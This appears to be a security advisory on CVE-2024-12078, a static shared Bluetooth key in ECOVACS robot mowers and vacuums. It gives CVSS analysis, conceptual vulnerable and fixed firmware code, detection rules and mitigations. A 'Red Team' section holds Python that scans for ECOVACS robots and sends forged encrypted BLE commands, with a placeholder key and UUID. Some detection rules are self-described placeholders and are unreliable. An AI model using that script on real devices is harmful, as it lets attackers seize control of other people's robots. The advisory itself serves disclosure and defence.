CVE-2024-12078

Executive Summary

CVE-2024-12078 exposes a critical cryptographic flaw in ECOVACS robot lawn mowers and vacuums. The vulnerability stems from the use of a shared, static secret key to encrypt all Bluetooth Low Energy (BLE) GATT (Generic Attribute Profile) messages. This design flaw allows any unauthenticated attacker within BLE radio range to decrypt, forge, and replay commands, effectively granting full control over any ECOVACS robot using the same key. The impact is severe, as an attacker could manipulate the robot's navigation, disable safety features, or cause physical damage. The vendor has not yet released a patch, leaving all affected devices vulnerable.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a hardware/firmware-level issue in ECOVACS robotic devices.

CVSS Breakdown & Threat Level

CVSS Score: 9.0 (Critical) Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Adjacent Network (A) – The attacker must be within BLE range (typically up to 100 meters).
• Attack Complexity (AC): Low (L) – The attack requires no special conditions; the shared key is static and known.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – An attacker can read all BLE traffic.
• Integrity (I): High (H) – An attacker can forge and send arbitrary commands.
• Availability (A): High (H) – An attacker can disrupt robot operation.

Threat Level: Critical. The attack is trivial to execute with off-the-shelf BLE hardware (e.g., a Raspberry Pi with a BLE dongle). The shared key is static and can be extracted from any ECOVACS device or public documentation.

Deep Dive & Mechanics

ECOVACS robots communicate with their mobile app and other devices via BLE. The GATT protocol is used for data exchange, and all messages are encrypted using a symmetric key. The critical flaw is that this key is shared across all devices and static (never changes). This means:

1. Key Extraction: An attacker can obtain the key by reverse-engineering the mobile app, sniffing BLE traffic from their own device, or extracting it from a disassembled robot.
2. Decryption: With the key, the attacker can decrypt all BLE GATT messages, revealing commands, sensor data, and configuration.
3. Forgery: The attacker can craft arbitrary encrypted messages, including commands to start/stop the robot, change mowing patterns, disable safety sensors, or even update firmware.
4. Replay Attacks: Even without full decryption, captured encrypted commands can be replayed to perform actions.

The attack does not require physical access to the target device; only proximity (BLE range) is needed. This makes it a significant threat in residential areas where multiple ECOVACS devices may be in use.

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. The vulnerable code resides in the firmware of ECOVACS robots and the companion mobile app. The core issue is the use of a hardcoded, static key for BLE encryption.

Vulnerable Code (Conceptual):

// Firmware side
#define BLE_SECRET_KEY "STATIC_SHARED_KEY_32_BYTES"

void encrypt_gatt_message(uint8_t *plaintext, uint8_t *ciphertext) {
    // Use static key for AES encryption
    aes_encrypt(plaintext, BLE_SECRET_KEY, ciphertext);
}

Patched Code (Hypothetical):

// Firmware side
void generate_session_key() {
    // Use ECDH key exchange to derive a unique session key
    ecdh_key_exchange(&peer_public_key, &session_key);
}

void encrypt_gatt_message(uint8_t *plaintext, uint8_t *ciphertext) {
    // Use per-session key
    aes_encrypt(plaintext, session_key, ciphertext);
}

The fix would involve implementing a key exchange protocol (e.g., ECDH) to establish a unique session key for each connection, or using a dynamic key derived from a pairing process.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A computer with Bluetooth 4.0+ (e.g., Raspberry Pi 3/4)
• Python 3 with bleak and cryptography libraries
• The static BLE key (extracted from an ECOVACS device or app)

Steps:

1. Discover Devices:

   import asyncio
   from bleak import BleakScanner
   
   async def scan():
       devices = await BleakScanner.discover()
       for d in devices:
           if "ECOVACS" in d.name:
               print(f"Found: {d.name} - {d.address}")
   
   asyncio.run(scan())
   

2. Connect and Send Malicious Command:

   import asyncio
   from bleak import BleakClient
   from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
   
   # Static key (example - replace with actual extracted key)
   STATIC_KEY = b'\x00' * 16  # Placeholder
   
   async def send_command(address, command):
       async with BleakClient(address) as client:
           # Encrypt command
           cipher = Cipher(algorithms.AES(STATIC_KEY), modes.ECB())
           encryptor = cipher.encryptor()
           encrypted_cmd = encryptor.update(command) + encryptor.finalize()
           
           # Write to GATT characteristic (example UUID)
           await client.write_gatt_char("0000xxxx-0000-1000-8000-00805f9b34fb", encrypted_cmd)
   
   asyncio.run(send_command("AA:BB:CC:DD:EE:FF", b"STOP"))
   

Note: The actual GATT characteristic UUID and command format must be reverse-engineered from the app or firmware.

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for multiple BLE connection attempts from unknown devices.
• Log and alert on unexpected commands (e.g., "STOP" during normal operation).
• Use BLE sniffer to detect anomalous traffic patterns (e.g., repeated encrypted packets).

Mitigation:

• Disable BLE when not in use (if possible).
• Implement a whitelist of trusted BLE devices.
• Monitor for firmware updates from ECOVACS.

Indicators of Compromise (IOCs)

• Network: BLE packets with the same static key encryption pattern.
• Host: Unusual BLE connections to ECOVACS devices from unknown MAC addresses.
• Behavior: Robot performing actions without user input (e.g., starting/stopping randomly).
• File: Presence of BLE sniffing tools (e.g., btlejack, bettercap) on a device within range.

Detection Engineering

YARA Rule

rule ecovacs_ble_static_key {
    meta:
        description = "Detects the static BLE key used in ECOVACS robots"
        author = "Valters IT"
        date = "2024-12-01"
        reference = "CVE-2024-12078"
    strings:
        $key1 = { 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F } // Example key bytes
        $key2 = "STATIC_SHARED_KEY" ascii wide
    condition:
        any of them
}

Sigma Rule

title: ECOVACS BLE Static Key Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-12078 by sending forged BLE commands
author: Valters IT
date: 2024-12-01
logsource:
    product: linux
    service: bluetooth
detection:
    selection:
        - EventID: 1001  # BLE connection event
          DeviceName: "*ECOVACS*"
        - EventID: 1002  # BLE GATT write event
          Data: "*encrypted*"
    condition: selection
falsepositives:
    - Legitimate app communication
level: high

Suricata Rule

alert tcp any any -> any any (msg:"ECOVACS BLE Static Key Exploit"; flow:to_server; content:"|00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F|"; sid:1000001; rev:1;)

Note: This Suricata rule is a placeholder; BLE traffic is not typically routed over TCP/IP. For BLE-specific detection, use a dedicated BLE sniffer (e.g., btlejack).

Remediation & Mitigation

Immediate Actions:

1. Disable BLE: If the robot does not require BLE for operation, disable it via the app or physical switch.
2. Network Segmentation: Place IoT devices on a separate VLAN to limit lateral movement.
3. Monitor: Use BLE sniffers to detect anomalous traffic.

Long-Term Fix:

• ECOVACS must release a firmware update that implements a secure key exchange protocol (e.g., ECDH) to generate unique session keys.
• Users should apply the update as soon as it becomes available.

Workaround:

• Use the robot's physical controls only, avoiding the mobile app.
• Keep the robot in a garage or area with limited BLE exposure.

Valters IT
Securing Digital Frontiers